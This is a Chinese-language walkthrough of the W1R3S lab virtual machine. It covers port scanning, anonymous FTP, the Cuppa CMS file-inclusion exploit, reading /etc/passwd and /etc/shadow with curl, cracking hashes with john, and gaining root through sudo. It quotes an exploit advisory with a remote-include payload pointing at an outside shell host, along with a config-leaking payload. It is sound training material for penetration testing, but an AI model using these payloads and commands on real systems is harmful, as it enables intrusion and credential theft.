信息搜集
1.主机发现
对整个c段进行扫描nmap -sn 192.168.230.0/24
,确定靶机ip为192.168.230.130
。
2.端口扫描
扫描192.168.230.130
的开放端口,扫描发现存在21、22、80、3306端口开放。
Tip: 在真实的渗透环境过程中, 应该使用nmap进行两次扫描来保证准确性
nmap –min-rate 10000 –p- 192.168.230.130
这个代码是以最小速率10000对全部端口(1-65535)进行扫描,10000是权衡的结果,数字过大扫描速度快,但容易遗漏端口,数字过小则扫描时间过长,经验表明10000就是扫描的合适速度。-p是端口参数,-p-表示对所有端口进行扫描。理论上应该对靶机的ip扫描两次,对比结果,保证没有信息的遗漏。
sudo nmap –sT –sV -O –p21,22,80,3306 192.168.230.130
-sT表示进行TCP扫描(三握手),-p表示待扫描的端口(后跟待扫描的端口21,22,80,3306)-sV表示探测开放服务的版本,-O表示探测操作系统版本,扫描结果如下:
可以看到每个开放端口的服务版本和操作系统linux。紧接着我们再进行UDP扫描,保证没有遗漏信息。虽然UDP端口暴露的攻击面是比较小的,但在信息搜集阶段就应该搜集较全的信息,当TCP端口没有找到突破口的时候,说不定UDP也是一条路。
命令如下:sudo nmap –sU –p21,22,80,3306 192.168.230.130
,其中-sU表示使用UDP扫描。
发现 UDP扫描结果如上图,结果表明3306端口关闭,其他三个端口是开放/被过滤状态。
nmap中自带的脚本vuln进行漏洞扫描。nmap里面的脚本会对端口的历史常见漏洞进行扫描探测,如果这一步就能发现可利用的漏洞,对后续的操作会很有启发。 --script=vuln表示使用脚本vuln进行扫描,vuln是vulnrability的缩写,这个脚本也会更新,不断加入新的漏洞检测。
sudo nmap –-script==vuln –p21,22,80,3306 192.168.230.130
如上图所示,nmap的漏洞扫描发现21,22,3306都没什么漏洞,80端口发现一个DOS拒绝服务攻击的漏洞,这个漏洞用处不大,基本可以忽略。同时还发现了一个CMS为Wordpress的登录页面,一会可以重点关注一下Wordpress的cms有啥漏洞。
3.ftp
渗透
尝试使用匿名用户anonymous
登录目标主机的FTP服务器, 匿名用户的密码默认为空
成功登录:
收集FTP服务器的文件信息, 可使用mget
命令远程下载FTP服务器文件。
Tip: 由于此处远程下载的目标文件均为txt文件, 所以在下载传输的过程中。文件是不会损坏的, 若下载的文件为可执行文件或其他二进制文件, 那么需要先执行
binary
再使用mget
命令下载文件
先ls看看,发现存在几个目录并且都具有可读和可执行权限。
一个一个进入看看,先进入content目录,发现存在三个文件,直接下载下来mget *.txt
。
再进入docs目录,同样下载出来。
再进入new-employee,同样下载出来。
4.分析文件
创建一个目录w1r3s,将刚才下载出来的文件移动到w1r3s目录,然后分析一下这些文件。
逐个分析,首先使用hash-identifier
命令来识别字符串的加密形式,结果显示就是MD5。
在线网站解密:说是这并不是一个密码,属于无效信息了。
对base64字符串进行解密: echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d
, 解密后的内容为"lt is easy, but not that easy", 意思是"这是简单的, 但不是那个简单", 字面意思有点模拟两可, 也属于无效信息。
再看第三部分的话是一个logo信息,也属于无效信息。
接着看这串倒置的字符串:
ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
此处推荐一个处理文本倒置的在线网站:https://www.upsidedowntext.com/, 经过处理后得到的文本信息分别是"I don't thınk this is the way to root!"和"we have a lot of work to do, stop playing around", 整段意思是"我不认为这是得到root权限的一种方式, 我们有很多工作要去做, 停止在这里乱搞", 简单来说此处啥都搞不了, 要从其他地方入手。还是属于无效信息。
再看一下最后一部分内容, 从内容上看是应该是员工信息, 排版位员工名字对应所在部门
The W1R3S.inc employee list
Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources
拿到了职工的一些信息和职位,说不定有用,先存着。其实这个信息再渗透测试过程中可能是有用的。针对每个人的名字和职位,我们就可以做针对性的渗透。比方说经理Naomi的权限说不定会更高,Web Design网页设计者可能在web开发中有一些自己的习惯。HR是我们社工的主要对象等等。FTP就先探索到这里了。下一步我们看看web有啥问题。
web渗透
1.目录爆破
使用dirb,dirb http://192.168.230.130
根据扫描,发现主要存在两个可以目录
Index.html一般是主界面,也就是80端口对应的界面,打开发现是个apache的服务。
访问wordpress目录,发现访问不通:
接着访问下administrator目录,发现跳转到了/administrator/installation ,并且还是一个cms安装界面。由于安装界面暴露了权限和配置信息,安装是有写权限的,这个界面很可能有漏洞,我们要重点关注。尝试安装一下:
结果显示安装失败,说是没有adminstrator权限:
2.识别cms搜索漏洞
从网站的标题可以看出是该网站的cms为Cuppa, 也可以使用whatweb
命令查询
使用searchsploit命令查询Cuppa cms是否存在漏洞: searchsploit cuppa cms
发现存在一处漏洞, 漏洞详情保存在25971.txt中, 将其导出来: searchsploit cuppa cms -m 25971.txt
下载之后我们cat 25791.txt如下所示,发现了这个文件包含漏洞,这个cms用request函数进行了文件包含,可能造成文件包含漏洞泄露信息。
┌──(yyup㉿Kali)-[~/Desktop]
└─$ cat 25971.txt
# Exploit Title : Cuppa CMS File Inclusion
# Date : 4 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/
# Software Link : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
# Version : Beta
# Tested on : Window and Linux
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
####################################
VULNERABILITY: PHP CODE INJECTION
####################################
/alerts/alertConfigField.php (LINE: 22)
-----------------------------------------------------------------------------
LINE 22:
<?php include($_REQUEST["urlConfig"]); ?>
-----------------------------------------------------------------------------
#####################################################
DESCRIPTION
#####################################################
An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]
#####################################################
EXPLOIT
#####################################################
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
Moreover, We could access Configuration.php source code via PHPStream
For Example:
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------
Base64 Encode Output:
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
-----------------------------------------------------------------------------
Base64 Decode Output:
-----------------------------------------------------------------------------
<?php
class Configuration{
public $host = "localhost";
public $db = "cuppa";
public $user = "root";
public $password = "Db@dmin";
public $table_prefix = "cu_";
public $administrator_template = "default";
public $list_limit = 25;
public $token = "OBqIPqlFWf3X";
public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
public $upload_default_path = "media/uploadsFiles";
public $maximum_file_size = "5242880";
public $secure_login = 0;
public $secure_login_value = "";
public $secure_login_redirect = "";
}
?>
-----------------------------------------------------------------------------
Able to read sensitive information via File Inclusion (PHP Stream)
################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
查看漏洞详情得知, 该cms可通过文件包含漏洞读取任意文件, 我们选取其中一个payload:
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
来试试
3.文件包含漏洞读取任意文件
浏览器访问:
http://192.168.230.130/administrator/alerts/alertConfigField.phpurlConfig=../../../../../../../../../etc/passwd
没有回显, 此处用的是Get请求, 后面尝试下POST请求
使用curl命令提交Post请求:
curl -X POST -d urlConfig=../../../../../../../../../etc/passwd http://192.168.230.130/administrator/alerts/alertConfigField.php
成功得到目标主机的passwd文件内容
┌──(yyup㉿Kali)-[~/Desktop]
└─$ curl -X POST -d urlConfig=../../../../../../../../../etc/passwd http://192.168.230.130/administrator/alerts/alertConfigField.php
<style>
.new_content{
position: fixed;
}
.alert_config_field{
font-size:12px;
background:#FFF;
position:relative;
border-radius: 3px;
box-shadow: 0px 0px 5px rgba(0,0,0,0.2);
overflow:hidden;
position:fixed;
top:50%;
left:50%;
width:600px;
height:440px;
margin-left:-300px;
margin-top:-220px;
}
.alert_config_top{
position: relative;
margin: 2px;
margin-bottom: 0px;
border: 1px solid #D2D2D2;
background: #4489F8;
overflow: auto;
color:#FFF;
font-size: 13px;
padding: 7px 5px;
box-shadow: 0 0 2px rgba(0, 0, 0, 0.1);
text-shadow: 0 1px 1px rgba(0, 0, 0, 0.2);
}
.description_alert{
position:relative;
font-size:12px;
text-shadow:0 1px #FFFFFF;
font-weight: normal;
padding: 5px 0px 5px 0px;
}
.btnClose_alert{
position:absolute;
top: 4px; right: 2px;
width:22px;
height:22px;
cursor:pointer;
background:url(js/cuppa/cuppa_images/close_white.png) no-repeat;
background-position: center;
background-size: 13px;
}
.content_alert_config{
position:relative;
clear:both;
margin: 2px;
margin-top: 0px;
height: 401px;
padding: 10px;
overflow: auto;
}
</style>
<script>
function CloseDefaultAlert(){
cuppa.setContent({'load':false, duration:0.2});
cuppa.blockade({'load':false, duration:0.2, delay:0.1});
}
</script>
<div class="alert_config_field" id="alert">
<div class="alert_config_top">
<strong>Configuration</strong>: <div class="btnClose_alert" id="btnClose_alert" onclick="CloseDefaultAlert()"></div>
</div>
<div id="content_alert_config" class="content_alert_config">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
w1r3s:x:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:122:129:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false
</div>
</div>
在现在linux系统中,passwd文件里面所有账户的密码都是用x代替的,真正的密码(加密后)放在/etc/shadow中
获取目标主机的shadow文件:
curl -X POST -d urlConfig=../../../../../../../../../etc/shadow http://192.168.230.130/administrator/alerts/alertConfigField.php
这里可以看到三处很明显的用户信息,对应着用户名和密码的hash结果,分别是root,www-data和w1r3s
4.john
破解密码文件
将shadow文件内容复制到hash中中, 然后使用john命令进行破解: john hash.txt
破解后可知两个用户登录口令, 分别是www-data/www-data
和w1r32/computer
此处有个巨坑, john命令无法再次解密同一个文件, 需要执行命令
rm -r /root/.john/john.pot
删除john.pot文件才能再次解密,(john.pot存放解密过的字符串)
5.ssh远程登录
使用ssh命令登录w1r3s用户: ssh w1r3s@192.168.47.154
6.提升权限
先看看w1r3s自己是什么权限 :
whoami
uname –a
id
sudo -l
发现w1r3s已经具有了all:all:all的权限,那么我们能够以系统的权限运行/bin/bash
sudo /bin/bash
成功获得了root权限!
成功拿到了flag!